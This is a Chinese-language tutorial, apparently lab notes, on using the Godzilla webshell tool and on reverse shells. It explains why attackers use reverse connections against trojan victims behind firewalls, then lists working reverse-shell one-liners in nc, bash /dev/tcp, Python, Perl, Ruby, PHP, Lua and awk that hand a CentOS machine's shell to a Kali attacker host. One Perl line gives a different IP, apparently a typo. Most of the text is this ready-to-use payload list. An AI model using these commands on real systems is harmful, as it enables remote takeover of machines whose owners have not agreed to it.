一句话木马
使用哥斯拉 要在Java环境下使用
点击左上角目标 生成
在添加索要挂载的网页填入对应的url测试连接
反弹shell
什么是反弹shell?
反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
为什么要反弹shell?
通常用于被控端因防火墙受限、权限不足、端口被占用等情形。
举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢?
有如下情况:
1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2.目标机器的ip动态改变,你不能持续控制。
3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。
那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
操作方法
我们采用两台虚拟机
Kali作为攻击机 ip 192.168.77.131
CentOS 为被攻击机 ip 192.168.77.134
nc -lvvp port kali上执行 port 为端口号 这是让攻击机监听对应端口
nc -e /bin/bash 攻击机ip port端口 centos
这里的两个端口需保持一致
出现这行代码代表已经成功控制 Centos的shell
测试 在kali中输入 ifconfig
可见此时ip为 192.168.77.134 为Centos端的ip 说明此时已经成功的控制了Centos的数据
bash -i >& /dev/tcp/攻击主机ip/10000 0>&1 centos
此命令效果如上
Python环境下
先让攻击机监听端口 代码同上 然后在CentOs中使用此命令
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.77.131",3000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
注意此时 ip 应填写攻击端 ip 端口号保持一致 后续所有方法都要这样。
执行后效果
这样就是成功 测试如上图。
Perl
perl -e '
use Socket;
$i="192.168.7.131";
$p=3080;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");
open(STDOUT,">&S");open(STDERR,">&S");
exec("/bin/sh -i");};'
ruby
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.77.131","8000");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
php
php -r '$sock=fsockopen("192.168.77.131",8000);exec("/bin/bash -i <&3 >&3 2>&3");'
Lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.77.131','8000');os.execute('/bin/sh -i <&3 >&3 2>&3');"
awk
awk 'BEGIN{s="/inet/tcp/0/192.168.77.131/8000";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
这里提供在不同靶机环境下所执行的代码,具体情况具体使用。